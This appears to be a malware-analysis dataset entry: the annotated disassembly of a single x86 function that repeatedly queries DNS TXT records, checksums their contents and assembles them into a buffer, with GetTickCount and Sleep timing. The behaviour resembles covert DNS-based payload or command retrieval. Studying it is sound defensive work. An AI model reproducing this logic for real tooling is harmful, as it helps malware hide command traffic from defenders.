Function at 0x402f00
Capabilities:
Check for time delay via gettickcount
Resolve dns

Disassembly:
sub esp, 0x234
push ebx
push ebp
push esi
mov esi, dword [esp + 0x250]
push edi
xor edi, edi
push edi
push esi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x24], edi
mov dword [esp + 0x18], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x3c], edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x250]
push esi
lea ecx, [esp + 0x14c]
push eax
push ecx
call fcn.00402a10
add esp, 0x14
push 0x100001
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, edi
mov dword [esp + 0x38], esi
je 0x403200
call fcn.004025d0
mov eax, dword [esp + 0x24c]
lea edx, [esp + 0x2c]
push edx
push eax
call fcn.004028d0
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x30], edi
mov dword [esp + 0x20], esi
mov ecx, dword [esp + 0x250]
mov edx, dword [esp + 0x258]
mov eax, dword [esp + 0x248]
push ecx
push edx
push edi
push eax
lea ecx, [esp + 0x50]
push str._s._d._d._s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
xor ebx, ebx
test edi, edi
setle bl
dec ebx
xor edx, edx
and ebx, 3
add ebx, 2
test edi, edi
setle dl
dec edx
xor ebp, ebp
and edx, 0xffffec78
mov dword [esp + 0x3c], ebx
add edx, 0x1388
mov dword [esp + 0x28], ebp
test ebx, ebx
mov dword [esp + 0x260], edx
jle 0x403200
mov ecx, dword [esp + 0x2c]
lea eax, [esp + 0x14]
push 0
push eax
push ecx
push 8
lea edx, [esp + 0x50]
push 0x10
push edx
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
jne 0x403170
mov esi, dword [esp + 0x14]
test esi, esi
je 0x403170
mov dword [esp + 0x24], esi
jmp 0x403036
mov esi, dword [esp + 0x24]
mov eax, dword [esi + 4]
lea ecx, [esp + 0x40]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40314a
cmp word [esi + 8], 0x10
jne 0x40314a
cmp dword [esi + 0x18], 1
jne 0x40314a
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0x10]
push edx
push eax
call section..text
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x403200
mov eax, dword [esp + 0x10]
cmp eax, 0xdc
jg 0x403200
test eax, eax
jle 0x403200
mov ecx, dword [esp + 0x28]
test ecx, ecx
je 0x4030c9
mov esi, dword [esp + 0x254]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0x24c]
push eax
push esi
lea edx, [esp + 0x14c]
push ecx
push edx
call fcn.00402a10
mov eax, dword [esp + 0x24]
add esp, 0x14
add eax, 0xfffffffc
lea esi, [ebx + 4]
push eax
lea eax, [esp + 0x144]
push esi
push eax
call fcn.00402670
mov ecx, dword [esp + 0x1c]
add ecx, 0xfffffffc
push ecx
push esi
call fcn.00402590
mov ecx, dword [ebx]
add esp, 0x14
cmp ecx, eax
jne 0x403200
mov edx, dword [esp + 0x10]
mov edi, dword [esp + 0x20]
push ebx
push 0
lea ecx, [edx - 4]
mov ebp, 1
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x10]
cmp eax, 0xa5
jge 0x403136
mov dword [esp + 0x34], ebp
mov ecx, dword [esp + 0x18]
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x30]
lea edx, [ecx + eax - 4]
mov dword [esp + 0x18], edx
mov esi, dword [esi]
test esi, esi
mov dword [esp + 0x24], esi
jne 0x403032
mov eax, dword [esp + 0x14]
push 1
push eax
call sub.DNSAPI.dll_DnsRecordListFree
test ebp, ebp
mov dword [esp + 0x14], esi
jne 0x40318d
mov ebx, dword [esp + 0x3c]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x28]
inc eax
cmp eax, ebx
mov dword [esp + 0x28], eax
jge 0x403200
jmp 0x402ffe
mov eax, dword [esp + 0x34]
test eax, eax
jne 0x4031ba
mov ecx, dword [esp + 0x260]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x20]
inc edi
add eax, 0xa1
mov dword [esp + 0x30], edi
mov dword [esp + 0x20], eax
jmp 0x402f97
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [esp + 0x18]
lea edx, [esi + 1]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov dword [esp + 0x1c], eax
je 0x403200
mov ecx, esi
mov esi, dword [esp + 0x38]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov edx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x25c]
mov dword [ecx], edx
mov eax, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
test eax, eax
pop ebx
je 0x40321c
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x28]
test eax, eax
je 0x403234
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0xc]
add esp, 0x234
ret